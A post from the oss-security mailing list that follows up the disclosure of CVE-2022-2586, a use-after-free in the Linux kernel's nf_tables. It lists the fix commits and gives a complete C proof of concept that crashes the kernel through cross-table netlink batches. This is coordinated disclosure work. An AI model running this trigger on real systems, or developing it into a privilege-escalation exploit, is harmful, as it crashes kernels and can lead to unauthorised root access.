Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 17 Aug 2022 17:26:52 -0300
From: Thadeu Lima de Souza Cascardo <cascardo@...onical.com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2022-2586 - Linux kernel nf_tables
 cross-table reference UAF

On Tue, Aug 09, 2022 at 02:10:35PM -0300, Thadeu Lima de Souza Cascardo wrote:
> CVE-2022-2586 - Linux kernel nf_tables cross-table reference UAF
> 
> It was discovered that a nft object or expression could reference a nft set on
> a different nft table, leading to a use-after-free once that table was deleted.
> 
> Team Orca of Sea Security (@seasecresponse) working with Trend Micro's Zero Day
> Initiative discovered that this vulnerability could be exploited for Local
> Privilege Escalation. This has been reported as ZDI-CAN-17470, and assigned
> CVE-2022-2586.
> 
> This bug was introduced by commit 958bee14d071 ("netfilter: nf_tables: use new
> transaction infrastructure to handle sets"), which is present since v3.16-rc1.
> 
> Exploiting it requires CAP_NET_ADMIN in any user or network namespace.
> 
> A PoC that will trigger KASAN is going to be posted in a week.
> 
> Fixes have been sent to netfilter-devel@...r.kernel.org and are at
> https://lore.kernel.org/netfilter-devel/20220809170148.164591-1-cascardo@canonical.com/T/#t.

These have been merged as commits:

470ee20e069a6d05ae549f7d0ef2bdbcee6a81b2
95f466d22364a33d183509629d0879885b4f547e
36d5b2913219ac853908b0f1c664345e04313856

And here is the PoC. It should be linked to libmnl and libnftnl.

#include <netdb.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <libnftnl/object.h>
#include <libnftnl/expr.h>
#include <libmnl/libmnl.h>
#include <err.h>

int main(int arg, char **argv)
{

	struct mnl_socket *s;
	struct mnl_nlmsg_batch *batch;
	struct nlmsghdr *nh;
	char buf[16384];
	int r;
	int seq = 0;

	s = mnl_socket_open(NETLINK_NETFILTER);
	if (!s)
		err(1, "failed to create netfilter socket");

	/* Create table that will be deleted */
	char *table_name = "table1";
	struct nftnl_table *table;
	table = nftnl_table_alloc();
	nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

	/* Create table where an object reference will be */
	char *table2_name = "table2";
	struct nftnl_table *table2;
	table2 = nftnl_table_alloc();
	nftnl_table_set_str(table2, NFTNL_TABLE_NAME, table2_name);

	/* Create object and add it to table1 */
	char *obj_name = "obj1";
	struct nftnl_obj *obj;
	obj = nftnl_obj_alloc();
	nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
	nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, table_name);
	nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
	nftnl_obj_set_u64(obj, NFTNL_OBJ_CTR_BYTES, 0);

	/* Add set to table2 */
	char *set_name = "set1";
	struct nftnl_set *set;
	set = nftnl_set_alloc();
	nftnl_set_set_str(set, NFTNL_SET_TABLE, table2_name);
	nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
	nftnl_set_set_u32(set, NFTNL_SET_FAMILY, NFPROTO_IPV4);
	nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 8);
	nftnl_set_set_u32(set, NFTNL_SET_ID, htonl(0xcafe));
	nftnl_set_set_u32(set, NFTNL_SET_FLAGS, NFT_SET_OBJECT|NFT_SET_ANONYMOUS);
	nftnl_set_set_u32(set, NFTNL_SET_OBJ_TYPE, NFT_OBJECT_COUNTER);

	/* Now create a reference to the object at table1 */
	/* Aha! So this seems to be possible because one can refer to a set in a batch by use of SET_ID instead of SET_NAME */
	/* So this must be in the same batch. */
	struct nftnl_set *sx = nftnl_set_alloc();
	struct nftnl_set_elem *slem = nftnl_set_elem_alloc();
	int klen[64];
	nftnl_set_set_str(sx, NFTNL_SET_TABLE, table_name);
	nftnl_set_set_u32(sx, NFTNL_SET_ID, htonl(0xcafe));
	nftnl_set_elem_set(slem, NFTNL_SET_ELEM_KEY, &klen, 8);
	nftnl_set_elem_set_str(slem, NFTNL_SET_ELEM_OBJREF, obj_name);
	nftnl_set_elem_add(sx, slem);
	
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_table_nlmsg_build_payload(nh, table);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_table_nlmsg_build_payload(nh, table2);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWOBJ, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_obj_nlmsg_build_payload(nh, obj);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_set_nlmsg_build_payload(nh, set);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_set_elems_nlmsg_build_payload(nh, sx);
	mnl_nlmsg_batch_next(batch);

	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));
	if (r < 0)
		err(1, "failed to send message");

	/* Delete table with the object */
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_table_nlmsg_build_payload(nh, table);
	mnl_nlmsg_batch_next(batch);

	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));

	/* Delete second table */
	batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
	nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	nh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELTABLE, NFPROTO_IPV4, NLM_F_CREATE, seq++);
	nftnl_table_nlmsg_build_payload(nh, table2);
	mnl_nlmsg_batch_next(batch);

	nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
	mnl_nlmsg_batch_next(batch);

	r = mnl_socket_sendto(s, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch));


	return 0;

}

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.